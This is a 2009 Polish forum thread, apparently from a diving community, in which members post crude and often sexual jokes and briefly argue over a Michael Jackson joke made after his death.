qdlaty - 24-06-2009, 10:16

- Wiesz stary, wracam wczoraj wcześniej z pracy, no i oczywiście od razu do szafy patrzę. Pewnie, że siedzi. W samych slipkach i się patrzy na mnie... ten sam co zwykle, kochanek żony, psia jego mać...
- No i co mu powiedziałeś!?
- Powiedziałem mu: "Idioto! Ile razy normalnemu człowiekowi można powtarzać: rok temu się rozwiodłem i żona już tu nie mieszka!?".

*Konrad* - 27-06-2009, 15:09

http://i43.tinypic.com/nphmd3.jpg
mam nadzieje że nikogo tym nie urażę :ping:

Piotr - Malediwy - 27-06-2009, 17:04

Nikogo chyba nie jesteś w stanie obrazić. Ja osobiście to Ci nawet współczuję tak marnego poczucia humoru...
hexe - 27-06-2009, 21:19

bez przesaaaady. Jakie to wszystko ą ę . Piotr Michael J. to Twój ojciec ,żeś taki urażony?? Konrad uważam ,że dobre :D A tak na marginesie dopóki żył to się wszyscy nabijali jaki to psychol i pedofil , ale jak od 2 dni nie żyje to zaraz świętym go ogłosicie?? Nie bądźmy zakłamani może co? :)
Halszka - 27-06-2009, 21:56

hexe napisał/a:
. Jakie to wszystko ą ę .

Tzn. co?
Piotr zasugerował tylko brak smaku. I miał rację - wg mnie.

hexe - 27-06-2009, 22:02

w czym ten brak smaku się objawił?? o matko jakie to wszystko wrażliwe....
Nuroslaw - 28-06-2009, 10:04

mnie to też nie bawi. a poza tym nie pamiętam aby Majkel robił to ze swoją córka gdzieś w piwnicy. Bo fotka z dzieciakami w szafie skojarzyła się w pierwszej kolejności z Fritzem z austrii.

Po za tym facet nie żyje, więc dajcie mu już spokój hieny cmentarne.

Nie chodzi o wybielanie ani o zniszczenie jego wizerunku. Był jaki był, nie powinniśmy tego zapomnieć, ale robić z tego cyrk? jeśli tak naprawdę dla większości Majkel=muzyka którą tworzył a nie jego życie prywatne. A teledyski miał super. Poza tym wszyscy "wielcy" to a fee, coś musi ich wyróżniać od bydła.

*Konrad* - 28-06-2009, 17:38

tego typu żarty to kwestia dystansu , nie każdemu muszą pasować i może wrzucenie tu tego linka było z mojej strony pewnym nietaktem .
Natomiast co do wypowiedzi NUROSLAW to chyba się trochę zapędziłeś z tymi hasełkami "hieny cmentarne" i " coś musi ich wyróżniać od bydła. "

jacekplacek - 29-06-2009, 01:24

No i był fajny wątek... Czy moderator ma wolne?
hubert68 - 29-06-2009, 16:24

Nie przepadałem za MJ ale: O zmarłych tylko dobrze.
piotr_c - 29-06-2009, 16:48

hubert68 napisał/a:
O zmarłych tylko dobrze.


Pragnę zauważyć że Hitler i Stalin też nie żyją. (to w kwestii logiki a nie broń Boże w kontekście MJ).

hubert68 - 29-06-2009, 21:21

piotr_c napisał/a:
Pragnę zauważyć że Hitler i Stalin też nie żyją.

To tak trochę starsze... W orginale brzmi: De mortuis aut bene aut nihil (Chilon ze Sparty). Choć właściwie nie w orginale, bo to łacińskie tłumaczenie z greki... Ale zakładam, że mowa Cicerona jest większości osób obca a mowa Homera prawie wszystkim. Dosłowne tłumaczenie powiedzennia brzmi: O zmarłych albo dobrze albo wcale. Tłmaczenie potocznie przyjęte tego powiedzenia podałem wyżej.

Beeker - 30-06-2009, 00:06

dla zmiany nastroju:

Nurkowy wybitnie, ale nie mogę znaleźć tego wątku z nurkowymi.

No i nie dowcip tylko anegdota, bo to autentyk:
Nuras wyłazi po solo nurku, odpina stejdża, zdejmuje zestaw i woła: Ma ktoś analizator?
Pada zwyczajowa odpowiedź: A na ch.j ci analizator, po nurku?
A, chciałem zobaczyć co mam w stejdżu ...
Analizator się znalazł...
Po pomiarze pada sentencja:
A to na ch.j ja tam tyle siedziałem na tlenie? Byłem pewien że mam 50%... ;)

Dany - 07-07-2009, 00:50

Policjant pyta staruszkę:
- Wiek?

- 86 lat.

- Czy mogłaby pani opowiedzieć swoimi słowami, co tu się właściwie wydarzyło?

- Siedziałam na ławce na tarasie przed domem, podziwiając ciepły wiosenny wieczór, kiedy przyszedł ten młodzieniec i usiadł obok mnie.

- Znała go pani?

- Nie, ale był przyjaźnie nastawiony.

- Co stało się po tym, jak usiadł obok pani?

- Zaczął pocierać moje udo.

- Czy powstrzymała go pani?

- Nie.

- Dlaczego?

- Bo odczuwałam przyjemność. Nikt nie robił tego od czasu, kiedy mój mąż odszedł z tego świata 30 lat temu.

- Co stało się potem?

- Zaczął pieścić moje piersi.

- Czy próbowała go pani powstrzymać?

- Nie.

- Dlaczego?

- Mój Boże, dlaczego??? Było mi tak dobrze, czułam, że naprawdę żyję.

Od lat tak się nie czułam!

- Co stało się później?

- Cóż, rozpalił mnie do czerwoności, więc rozłożyłam nogi i zawołałam:

"Bierz mnie, chłopcze, bierz mnie!"

- I co? Zrobił to?

- Nic, do diabła! Zawołał "Prima Aprilis!" I wtedy zastrzeliłam sukinsyna!

Ryszard Szwajcer - 08-07-2009, 22:15

Chyba jeszcze tutaj nie było...

Leci sobie duży pasażerski samolot. Spokojnie, bez ciśnień, pogoda ładna. Nagle podlatuje do niego wojskowy F16, którego pilotowi straszliwie się nudzi i zaczyna wkur....ć pilota dużej maszyny. Przelatuje nad nim, pod nim, jakieś beczki, korkociągi w niebezpiecznej odległości itp. Przy czym cały czas szydzi z pilota samolotu pasażerskiego:
- Czym ty latasz? Stodoła? Patrz na to gościu. Zrobisz tak? Nie zrobisz! Mam lepszy samolot i nie ma czegoś takiego co potrafisz ty i twoja maszyna, czego ja bym nie zrobił milion razy lepiej!
Koleś w pasażerce coraz bardziej wnerwiony, po którejś tam sugestii by się żołnierzyk odstosunkował w końcu proponuje:
- Oki delta-tango-charli-ecośtam. Teraz wykonam taki myk, ale jak go nie powtórzysz - na dole stawiasz kolację, panienki i na kadłubie swojego "odkurzacza" piszesz: JESTEM ZŁOMEM. Umowa?
- Dawaj misiu. Nie ma takiej opcji żebyś wygrał więc to ty napiszesz to na swoim kadłubie i wódeczka, panienki itp. na twój koszt!
- Uwaga zaczynam, to się nieco odsuń!
Pilot F16 czeka. Mija pół minuty, pułap ten sam, prędkość ta sama, nic sie nie zmienia. Mija minuta, dalej nic. W końcu pilot pasażerskiego odzywa sie w słuchawce:
- Dobra skończyłem.
- A co to, kur.., miało niby być?!?
- Byłem się odlać!

breath - 10-07-2009, 09:33

Ryszard Szwajcer, poplakalem sie :)
Ryszard Szwajcer - 14-07-2009, 21:52

Z basenu do szatni wychodzą tato z małym synkiem.
W drodze do szatni idą pod prysznic, gdzie ściągają kąpielówki i płuczą się obaj obok siebie.
Malec cały czas się wierci, kręci, wykręca, staje na jednej nodze, zagląda za zasłonkę.
W pewnym momencie mały szkrab poślizgnął się na śliskich kafelkach i tuż przed uderzeniem całym swym organizmem o posadzkę, chwyta się jedynego, odstającego elementu, który wpada mu w oko i niczym pomocna dłoń, okazuje się być ojca ... "fujarką".
Mały dzikus trzymając się mocno fujarki tatusia, podciąga się z powrotem do góry znad samej posadzki i z wystraszoną miną patrzy na ojca.
Ojciec marszczy czoło i rzecze do malca:
"widzisz synu... gdybyś był z matką, to byś się wypierd..ił"

jacekplacek - 15-07-2009, 10:04

Przychodzi Gruzin do lekarza i nijak nie może opowiedzieć o swoim problemie:
- Rozumiesz, doktorku, mnie bardzo wstyd mówić, przyjaciele się śmieją, dziewczyna się śmieje, cała wieś się śmieje...
- Nie stoi, czy co? - próbuje pomóc lekarz.
- Stoi... Ale nie dumnie!

gladius - 20-07-2009, 21:49

Gruziński dobry ;)

Pewna staruszka potrzebowała zabić wieprza. Jako, że sama nie dałaby z tym rady poprosiła o pomoc trzech osiłków przechodzących nieopodal. Chłopaki do pomocy oczywiście chętni, wzięli 3 flaszki gorzały zaliczki i udali się do chlewu. Stamtąd przez kilka minut dochodziły donośne kwiki i inne hałasy. Ucichło, po czym ekipa wyszła z chlewa.
Babcia pyta:
- I jak, syneczkowie, zabiliście?
- Zabić nie zabilim, ale spuściliśmy mu porządny wp*****l.

*Konrad* - 24-07-2009, 22:29

Zona do męża:
- idź podlej ogródek
- ale przecież deszcz pada
- to weź parasol

tom_wie - 01-08-2009, 11:13

Bajka dla dorosłych:

Był sobie raz pewien książę, który pewnego dnia spytał piękną księżniczkę, czy wyjdzie za niego za mąż. W odpowiedzi usłyszał tylko krótkie: "Nie!"
I żył książę długo i szczęśliwie, jeździł na polowania i na ryby (i na nurki :) ), każdego dnia spotykał się z kolegami, pił mnóstwo piwa i upijał się w sztok, grał w golfa, rozrzucał skarpetki po domu i nie opuszczał deski sedesowej, posuwał służki, sąsiadki i koleżanki, śpiewał pod prysznicem na cały głos, pierdział, kiedy miał na to ochotę, głośno bekał i drapał się po jajcach.

Koniec.

czarnny7 - 05-08-2009, 16:27
Temat postu: towary są wszędzie:)
Wpada gość do zakładu pogrzebowego i pyta:
- Jest szef ?
- Nie, wyjechał po towar

Dany - 05-08-2009, 17:08

Rekomendacja

Jan Kowalski jest moim pomocnikiem do spraw programowania,
zawsze ciężko pracującym. Jest samodzielnym pracownikiem, nigdy nie
narzekającym na warunki pracy. Nigdy nie zdażyło się, żeby Jan Kowalski
odmówił, gdy ktoś potrzebuje jego pomocy, poza tym zawsze
kończył pracę w określonym terminie. Często ubiega sie o dodatkowe
zadania i poświęca się im cały, omijając nawet swoje własne
przerwy śniadaniowe. Jan Kowalski jest człowiekiem, który nie ma
w sobie nic z próżności. Doskonałe umiejętności są potwierdzeniem jego
wiedzy o programowaniu. Głęboko wierzę, że mój pomocnik może
być zaklasyfikowany jako bardzo dobry pracownik, który nie powinien
zostać zastąpiony przez kogoś innego. Rekomenduje, żeby został
awansowany. Jestem pewien, że czas poświęcony tej decyzji nie okaże się
stracony, co na pewno zaowocuje dla dobra firmy w najbliższym czasie.



Załącznik:

Ten idiota Kowalski stał nade mnącały czas, jak pisałem tę rekomendację
Uprzejmie proszę o ponowne przeczytanie tylko nieparzystych linijek
rekomendacji, a wszystko stanie się jasne...

jacekplacek - 07-08-2009, 11:03

Dziewczyna pyta chłopaka:
- Dlaczego nic o mnie nie powiedziałeś swojej matce?
- A po co?
- Żeby w końcu uwierzyła, że jesteś hetero.
- To i tak będzie działać tylko do momentu, gdy cię zobaczy.

[ Dodano: 10-08-2009, 11:40 ]
Kobieta jest jak piłkarz. Leży, zwija się, jęczy, a ty myślisz - udaje, czy nie?

Dany - 18-08-2009, 13:09

Kacze Doły.
Jedyny hotel w gminie.
Do recepcji podchodzi znużony podróżny:
- Pokój chciałem....
- Nie ma, wszystkie zajęte - odpowiada mu recepcjonistka w ludowym stroju lubelskim.
- Może chociaż jakieś poddasze, komórka... - prosi.
- No mamy taką jedną klitkę - odpowiada mu po chwili recepcjonistka. - Ale ona ma bardzo złą sławę!
- ?
- No już tam się ośmiu ludzi powiesiło...
- Głupota! - odpowiada zmęczony podróżny. - Niech mnie Pani zaprowadzi to tej klitki!
Poszli, recepcjonistka otwiera klitkę, oprowadza po pomieszczeniu, tutaj TV, tutaj WC, tutaj barek...
- Super! Niech mi jeszcze Pani powie, jak oni się tu powiesili?
- Na tej klamce - odpowiada recepcjonistka pokazując na drzwi.
- To jest niemożliwe!!! - śmieje się podróżnik. Na tej rachitycznej klamce?
Następnego dnia pokojowa otwiera drzwi, żeby posprzątać pokój i widzi lokatora wiszącego na klamce z wywieszonym językiem:
- Jeszcze jeden, ku*wa, niedowiarek!!!

breath - 19-08-2009, 15:51

Konserwatorium im Witolda Lutosławskiego w Krakowie. Po korytarzu, w
przerwie między zajęciami spaceruje dwóch studentów:
- Ale miałem wczoraj traumatyczne przeżycie - mówi jeden
- Co się stało?
- Byłem świadkiem samobójstwa. Jakiś facet skoczył z dachu wieżowca wprost
pod moje nogi.
- Jezu! A jaki był motyw?
- Żadnego motywu nie było. W całkowitej ciszy o ziemię j*bnął.


Jadźka !
- Czego ?
- Przyjeżdżaj do mnie do roboty ! Mam ochotę na ostre rżnięcie na moim biurku !
- Zgłupiałeś ??? A sekretarka ??
- Aaaa ... to mogę z nią ???


- Panie doktorze. Mam problem ze snem. Od miesiąca śnią mi się gołe baby, które grają w piłkę nożną i przez to rano się budzę totalnie wyczerpany, bo ja im w tym śnie kibicuję.
- Dobra. Pan weźmie te pigułki przed snem i będzie Pan spał jak zabity.
- A mogę je zacząć brać od przyszłego piątku ?
- Ale dlaczego ?? Już dzisiaj Pan może zacząć !
- Ale Panie doktorze ... finały się zaczęły !!!

Dany - 20-08-2009, 15:14

Mąż idzie do seksuologa, ponieważ ma problem. Seksuolog pyta się kiedy ostatni raz uprawiał sex. Mąż nie pamiętał więc zadzwonił do żony:
- Kochanie kiedy ostatni raz uprawialiśmy sex?
- A kto mówi?

WW - 21-08-2009, 07:32

Facet dostał na urodziny papugę. Od początku, kiedy tylko wniósł klatkę do domu i zdjął z niej zasłonę, zorientował się, że miała okropny nawyk przeklinania, rzucała mięchem co drugie słowo.
Cóż było zrobić - wyrzucić żal, zawsze to jakiś towarzysz, zresztą prezent...
Przez szereg długich dni starał się walczyć ze słownictwem Papugi. Mówił do niej miłe słowa, puszczał łagodną, klasyczną muzykę, robił wszystko, żeby dać papudze dobry przykład... Słowem pełna poświęceń terapia.
Na próżno.
Pewnego dnia, kiedy papuga wstała lewą nogą i była wyjątkowo niegrzeczna, opryskliwa i obrażała go na każdym kroku, coś w nim pękło.
Zaczął krzyczeć, ale papuga darła się głośniej. Potrząsnął nią, a ta nie dość, że zbluzgała go tak, że wiązanki nie powstydziłby się marynarz pływający na transatlantykach, to jeszcze dostał parę razy dziobem.

W akcie desperacji wrzucił ptaka do zamrażarki, zatrzasnął drzwi, oparł się o nie i zsunął w dół. Papuga rzuciła się kilka razy o ściany zamrażarki, facet usłyszał przytłumiony bełkot i nagle wszystko ucichło.
Kiedy gość ochłonął trochę, naszły go wyrzuty sumienia więc otworzył drzwi zamrażarki. Papuga w milczeniu weszła na jego wyciągnięte ramię i powiedziała:
- Najmocniej przepraszam, że uraziłam Pana moim słownictwem, zachowaniem i czynami, proszę o przebaczenie - dołożę wszelkich starań aby się poprawić i nie dopuścić do podobnych scen w przyszłości. Zadanie Panu ciosów dziobem było niewybaczalne...

Facet tego się nie spodziewał - zmiana była co najmniej szokująca - już otwierał usta chcąc zapytać co spowodowało tak radykalną poprawę, kiedy ponownie odezwała się papuga:

- Mogę Pana uprzejmie zapytać: co Panu zrobił kurczak ?

The_PiotREX - 21-08-2009, 10:06

Padłem ;D
aga_dive - 21-08-2009, 19:56

Szkoła, nauczycielka pyta klasie:
- Jeśli pięć ptaków siedzi na płocie i zestrzelimy jednego z nich, to
ile zostanie?
Do odpowiedzi rwie się Jasiu:
- Żaden, pani profesor, na dźwięk strzału wszystkie odlecą.
- Poprawna odpowiedź to cztery, Jasiu, ale podoba mi się twój tok
rozumowania...
- To teraz ja zadam pani pytanie - mówi Jasiu.
- Na ławce siedzą trzy kobiety. Każda z nich je loda. Pierwsza
delikatnie oblizuje gałkę, druga ssie go całymi ustami tworząc z loda
stożek, a trzecia odgryza jednym ruchem pół loda. Która z nich jest
mężatką?
Pani chwile się zastanawia i pewnym głosem odpowiada:
- Wydaje mi się, że ta, która ssie loda całymi ustami tworząc stożek.
- Poprawna odpowiedź brzmi: ta, która ma obrączkę na palcu, ale podoba mi się pani tok rozumowania...

[ Dodano: 21-08-2009, 19:57 ]
Mama dała Jasiowi ostatnie 50 złotych na zakupy (do wypłaty było jeszcze 2 tygodnie) i mówi:
- Jasiek, kupisz chleb, margarynę i kawałek sera. Reszta kasy trafia na stół.
Jasiek poszedł do sklepu ale po drodze spodobał mu się misiek za całe 50 złotych. Kupił misia i pędzi do domu. Matka na to:
- Jasiu coś ty zrobił! Natychmiast idź i sprzedaj tego misia.
Jasiek bez namysłu poszedł opchnąć misia sąsiadce.
Wchodzi do jej mieszkania a sąsiadka w łóżku z jakimś facetem. Nagle rozlega się pukanie do drzwi. Sąsiadka wpycha faceta razem z Jasiem do szafy. Jasiek w szafie do faceta:
Jasiu: - Kup pan misia.
Facet : - Spadaj chłopcze.
Jasiu: - Bo będę krzyczał.
Facet: - Masz pięćdziesiąt złotych i siedź cicho.
Jasiu: - Oddaj misia.
Facet: - Nie oddam.
Jasiu: - Oddaj, bo będę krzyczał.

Sytuacja powtórzyła się paręnaście razy, Jasiu zarobił kasy od cholery, wraca do domu z zakupami (kawior, krewetki, szynki, i całą furę szmalu jeszcze przytargał). Matka do Jasia:
- Jasiek chyba Bank obrabowałeś!? Natychmiast idź do księdza i się wyspowiadaj!
Jasiek poszedł do kościoła, podchodzi do konfesjonału i mówi:
- Ja w sprawie Misia...
- Spier..... już nie mam kasy!

Padre-Kris - 21-08-2009, 22:33

Kontynuując temat papug!

Facet wyjeżdżał często w delegacje więc pomyślał, że kupi żonie jakieś zwierzątko do towarzystwa.
Pieska? Nieeee!
Kotka? Bzduuura!
Papuga to jest to można popatrzeć, pogłaskac,pogadać!
Poszedł do sklepu i prosi sprzedawcę o gadającą papugę:
Sprzedawca; - Niestety mamy tylko jedną, wybrakowaną a w dodatku to samiec!
- A co jej jest?
- Nie jej tylko jemu a pozatym on nie ma nóżek!
- No jak to nie ma przecież siedzi na drążku?
- Niby siedzi ale zobacz pan jak się trzyma - mówi sprzedawca odchylając papugowi piórka.
Gość patrzy a papug trzyma się na fujarze owiniętej wokół drążka.
Myśli sobie kupuję przecież baba nie będzie mu zagląać w piórka.
Kupił.
Postawił w salonie koło kanapy, papug szybko się zadomowił i wszyscy byli szczęśliwi!
Az tu nagle po krórejś z koklejnych delegacij wraca a papug woła:
- Gościu chodź tu szybko bo musumy poważnie pogadać!
- No o co chodzi?
-Siadaj tu na kanapie i słuchaj!
-Zawsze jak wyjeżdżaszw delegacje to pół godziny po twoim wyjściu twoja żuna przebiera się w taki przeźroczysty szlafroczek!
- No i co, no i co?
- Mniej więcej po pół godzinie do drzwi słychać pukanie!
-No i co , no i co?
-Twoja żona otwiera i wpuszcz takiego faceta jak polski hydraulik, zbudowany, że nie wiem co!
-Hmm! No i co , no i co?
- Siadają tu koło mojej klatki na tej kanapie!
- Uhhh!! No i co, no i co?
- Ona rozpina peniuarek a on sciąga ubranie!
- O żesz w mordę!!!! No i co, no i co?
- NO WŁAŚNIE K...A NIE WIEM BO ZAWSZE WTEDY SPADAM Z DRĄŻKA!!!!!!!!!

Dany - 24-08-2009, 22:54

Pewna para w wieku 85 lat miała 60-letni staż małżeński. Choć nie byli bogaci, to dawali sobie radę, ostrożnie gospodarując pieniędzmi.
Choć nie byli młodzi, to byli dobrego zdrowia, w dużej mierze dzięki naciskowi żony na zdrowe jedzenie i ćwiczenia przez ostatnią dekadę.
Pewnego dnia jednak, to dobre zdrowie w niczym im nie pomogło, ponieważ podczas podróży na wakacje rozbił się ich samolot, i trafili do nieba.
Stanęli przed niebiańskimi wrotami i św. Piotr poprowadził ich do wewnątrz. Zabrał ich do pięknego dworku, umeblowanego w złoto i jedwabie, z w pełni wyposażoną kuchnią i wodospadem w głównej łazience. Zobaczyli służącą wieszającą ich ulubione ubrania w szafie.
Westchnęli oszołomieni, gdy on powiedział 'Witamy w niebie. To będzie teraz wasz dom.'
Staruszek zapytał Piotra ile to wszystko będzie kosztować. 'Ależ, nic' odpowiedział Piotr, 'pamiętajcie, to wasza nagroda w niebie.'
Staruszek wyjrzał przez okno i zobaczył wielkie pole golfowe, wspanialsze niż jakiekolwiek na ziemi..
'Jakie są opłaty?,' mruknął.
'To jest niebo,' odpowiedział św. Piotr. 'Możesz codziennie grać za darmo.'
Następnie udali się do klubu i zobaczyli obficie zastawiony stół, z każdą kuchnią, jaką sobie można wymarzyć, od owoców morza, poprzez steki aż do egzotycznych deserów oraz różnego rodzaju napojów.
'Nawet nie pytaj,' powiedział św. Piotr zwracając się do staruszka. 'To jest niebo, to wszystko jest za darmo dla was, cieszcie się.'
Staruszek rozejrzał się wokół i nerwowo spojrzał na żonę.
'No cóż, a gdzie są niskotłuszczowe i niskocholesterolowe potrawy, i bezkofeinowa herbata?' zapytał.
To jest najlepsza część, odpowiedział św. Piotr, możecie jeść i pić ile chcecie i nigdy nie będziecie grubi ani chorzy. to jest niebo!'
Staruszek naciskał, 'Żadnej gimnastyki, aby to zgubić?'
'Nie, chyba że chcecie,' padła odpowiedź.
'Nie ma badania poziomu cukru ani ciśnienia krwi ani...'
'Już nigdy. Wszystko co tu robicie ma wam sprawiać radość.'

Staruszek spojrzał na żonę i powiedział, 'Ty i te twoje pier...ne otrębowe płatki. Mogliśmy już tu być dziesięć lat temu!

[ Dodano: 25-08-2009, 15:33 ]
Przychodzi koleś do sklepu z zabawkami i mówi do sprzedawczyni:
- Dzień dobry. Chciałbym, żeby Pani poleciła mi jakieś wypasione puzzle, ale żeby było trudne, bo strasznie dobry jestem w te klocki.
Sprzedawczyni przyniosła mu 1000 elementów - obraz przedstawia dupę zebry - same czarne i białe elementy.
Koleś na to patrzy i mówi:
- A czy można coś trudniejszego, bo nie chwaląc się takie klocki to układam jak się śpieszę na tramwaj.
Klientka popatrzyła na niego i przyniosła mu zestaw wymiatacza puzzli: 10000 elementów, obraz przedstawia zamgloną drogę podczas śnieżycy - wszystkie szare.
Koleś patrzy i mówi:
- Chyba se Pani jaja robi ze mnie. Takie klocuszki to moje dzieci pykają na śniadanie.
Babka już złapała ciśnienie i poszła na zaplecze szukać czegoś trudniejszego. Nie ma jej, nie ma w końcu przychodzi i dźwiga jakieś ogromne pudło. Zawartość: 50 000 puzzli, 25 m2, obraz przedstawia zaćmienie słońca w jaskini - hardcore dla zwykłego wymiatacza puzzli.
Ale koleś na to patrzy i mówi:
- No nie Serio Pani myśli, ze taki słaby jestem?!
Ona wpadła w szał i krzyczy do kolesia:
- PANIE WYPIERD.L.J PAN ZE SKLEPU, PRZEJDŹ PAN PRZEZ JEZDNIE, WEJDŹ PAN DO SKLEPU NA PRZECIWKO, TAM POPROŚ PAN KILOGRAM BUŁKI TARTEJ I SE PAN K.R.A ROGALA UŁÓŻ

Thompson93 - 25-08-2009, 16:22

Pewne małżeństwo co wieczor przyjmowało gości i nie mieli okazji, by porozmawiać o sprawach intymnych. Więc wymyślili tak, że gdy on będzie miał ochote na seks, zapyta sie "Czy pralka juz dziala?" a ona odpowie tak czy nie, w zależności od tego czy będzie chciała tego, co on. Pyta się jej więc jednego wieczroru:
- Kochanie, czy pralka już działa?
- Nie, pralka jest zepsuta.
To samo co wieczór:
- Kochanie, czy pralka już działa?
- Nie, pralka jest zepsuta.
I dalej:
- Kochanie, czy pralka już działa?
- Nie, pralka jest zepsuta.
W końcu ona idzie do sypialni i mówi:
- Przepraszam, pralka juz dziala...
- Nie trzeba, zrobiłem pranie ręczne.
:D

Dany - 10-09-2009, 15:13

Telewizja przeprowadza wywiad z najstarszym góralem na Podbeskidziu .
-Baco, jak to sie stało, że dożyliście tak sędziwego wieku . Może papierosów nie kurzyliście ?
-Eee gdzie tam . Widzicie tom stodołe . Jo żek w życiu tela tytoniu wykurzył ile siana leży tam we środku .
-To może żeście alkoholu nie pili ?
-Eee zaś tam . Widzicie ten stawek za stodołom ? Jo żek wiency łokowitki wypioł niż tej wody tam we środku .
-Hmmm to może żeście się seksualnie oszczędzali ?
--Widzicie pacocku tom kosę co stoi oparta o obórkę?
-Widzę.
-Widzicie, panocku . Dzisioj po mnie w nocy przysła Kostucha. I tak żem ją wydupcył, że kosy zapomniała .

[ Dodano: 10-09-2009, 15:16 ]
Facet poznał piękną dziewczynę i zaprosił ją do bardzo drogiej i eleganckiej restauracji.
- Niech stracę - myśli - seks mi wszystko wynagrodzi.
Gdy siedli przy stoliku, ona natychmiast zamówiła najdroższego szampana i najdroższą przystawkę, potem jeszcze jedną i jeszcze jedną. On zamawiał, patrzył jak dziewczyna je i myślał:
- Niech stracę, seks mi wszystko wynagrodzi.
Potem piękna dziewczyna zamówiła najdroższą zupę i najwykwintniejsze drugie danie z całym zestawem dodatków. On zamawiał, patrzył jak dziewczyna je i myślał:
- Niech stracę, seks mi wszystko wynagrodzi.
Gdy kończyła deser i poprosiła o następny, facet nie wytrzymał i pyta:
- Zawsze pani tak je?
Ona na to:
- Nie, tylko wtedy, gdy mam okres.

luis - 11-09-2009, 12:34

.... w szatni przed meczem Polska Słowenia


-Interesuje mnie jedynie zwyciestwo! - grzmial Leo Beenhakker przechadzajac sie w te i z powrotem przed grupka skupionych pilkarzy.

- Dobrze, powtórze jeszcze raz. Zewlakow! Co to jest?

Wywolany wyprezyl sie na bacznosc i stuknal obcasami. To znaczy próbowal, lecz gumowe korki stlumily odglos.

- To jest kura panie generale!

 Gó... tam! Bosacki! Co to jest?

Bartosz Bosacki przez chwile z uwaga przygladal sie okazanemu przedmiotowi.

- To nie jest kura? - zaczal asekuracyjnie.

- Dobrze. To nie jest kura. A co to jest?

- Nie kura, panie gene... znaczy, panie trenerze.

- To juz wiem. Pytalem, co to jest.

- To jest... to jest piii...

- Dobrze, dobrze, pi?

- Pinokio?

- Sam jestes Pinokio! Dudka! Co to jest?

- To jest pilka, panie trenerze!

- Brawo! Swietnie! Reszta slyszala? No to wszyscy razem powtarzamy.
Glosno! Zebym was slyszal!

- Toooojeeeeestpiiiiiiilkaaaaaaa.

- Dobrze. Pilka do gry w pilke nozna, zwana tez futbolem. Dlatego czasami nazywa sie ja tez futbolówka. Dudka! Czemu Gancarczyk sie przewrócil?

Dariusz Dudka podbiegl do kolegi, który zsunal sie z lawki i jeczal na podlodze w pozycji "ranek na weselu". Fachowo sprawdzil puls i oddech, po czym zdal relacje.

- Zwykle omdlenie, panie trenerze.

- Omdlenie? A to czemu?

- Zwykle tak reaguje na natlok informacji. Po prostu uklad nerwowy mu sie wylacza. Pan trener podal zbyt duzo informacji o pilce, kolega próbowal to przyswoic i zapomnial oddychac. Niedotlenienie mózgu i omdlenie jako naturalna konsekwencja.

- Ale ja tylko powiedzialem, ze pilka to futbolówka!

- No wlasnie. Za duzo informacji na raz, prosze pana.

Leo przez chwile milczal, po czym machnal reka.

- Niewazne. Blaszczykowski! Co macie robic z pilka na meczu?

- Nie dotykac rekami!

- Dobrze. A do tego co? Tak, Boruc?

- Ja moge rekami, trenerze?

- Mozesz.

Ktos niesmialo zaprotestowal.

- Dlaczego Boruc moze rekami, a my nie?

- Bo Boruc jest bramkarzem.

- Ale to niesprawiedliwe. Dlaczego zawsze Boruc jest bramkarzem?

- Bo mam rekawice, zlamasie!

- Sam jestes zlamasem, zlamasie!

- Spokój!!! - Leo wlozyl w ten okrzyk tyle sil, ile mial - Boruc moze dotykac pilki rekami, a wy nie. Jasne?

- Ale...

- Jasne?!!!

- Tak, trenerze.

- To dobrze. Nie zazdrosccie mu, bo on bedzie musial caly mecz stac na bramce, a wy bedziecie mogli strzelac gole. Ooo... widze ze Gancarczyk doszedl do siebie. Zuch chlopak. Tak, Lewandowski?

- Co to znaczy strzelac gole, trenerze?

- To znaczy musicie umiescic pilke w bramce przeciwnika.

- Ale tylko Boruc moze jej dotykac!

- Tak, ale pilka nozna polega na kopaniu pilki nogami. Troche to zakrawa na pleonazm, bo niby nie mozna kopac rekami, ale... Czemu Gancarczyk znowu lezy?

- Pleonazm, trenerze. Zalatwil go pan tym chyba na cacy.

- Ups...

- Chyba trzeba bedzie zadzwonic po erke...

- Dobrze, niech ktos zadzwoni. Na czym to ja... Acha. Trzeba wkopac pilke do bramki przeciwnika.

Wsród zawodników zapanowalo poruszenie. Wreszcie z lawki podniósl się Krzynówek.

- Ale to bardzo trudne, trenerze. Niech pan sam spojrzy - pilka jest okragla i bardzo trudno jest ja tak kopnac, zeby poleciala tam gdzie sie chce. O, prosze...

Tu Krzynówek postawil przed soba pilke i spróbowal kopnac w strone Beenhakkera. Guerreiro, trafiony centralnie w nos, dolaczyl stanami swiadomosci do Gancarczyka. Leo przeciagnal sobie wolno dlonia po twarzy. Zrobil kilka glebokich wdechów.

- Nie wiem, jak tego dokonacie, ale macie wygrac. Macie ich rozniesc, rozgniesc i rozgromic! Macie byc jak polska husaria pod Wiedniem! Jak szwolezerowie pod Samosierra! Jak Jagiello pod Grunwaldem! Zrozumiano?

Brozek niesmialo podniósl reke.

- Na pewno jak Jagiello pod Grunwaldem?

- Tak, do jasnej cholery!

- A skad trener tak dobrze zna historie Polski?

- Niewazne! A teraz won! Na boisko!

-Pilkarze stali przy wyjsciu do szatni. Lewandowski jeszcze raz przypominal slowa trenera.

- Pamietacie, co nam powiedzial? Mamy byc jak Jagiello!

- A co robil Jagiello? - spytal Guerreiro, któremu dawna historia Polski nie byla jeszcze dosc bliska.

- Z tego co wiem, to trzeba stac na wzgórzu i po prostu patrzec, co robia tamci...

- Ale na boisku nie ma wzgórza!

- No to po prostu bedziemy stac i patrzec. Trener na pewno bedzie zadowolony.


-------
:)

Dany - 11-09-2009, 21:30

Śnieżna zima 1952. Leśniczówka Pranie nad jeziorem Nidzkim. W izbie oświetlonej płomyczkiem lampy naftowej, nastrojowy półmrok. Zza zamarzniętych szyb dochodzą groźne pomruki szalejącego wiatru. Przy biurku sam Mistrz pochylony nad kartka wyrwana z notesu, skreśla kolejne wersy Kroniki Olsztyńskiej. Skrzypienie pióra potęguje tylko urok tego sielankowego obrazka.

- Natalio? - przerywa cisze głos mezczyzny.

Siedząca w fotelu przy kominku kobieta podnosi oczy znad robótki recznej i

pyta:

- Co?

- Ch..ów sto! - odpowiada mężczyzna.

kalel - 18-09-2009, 12:14

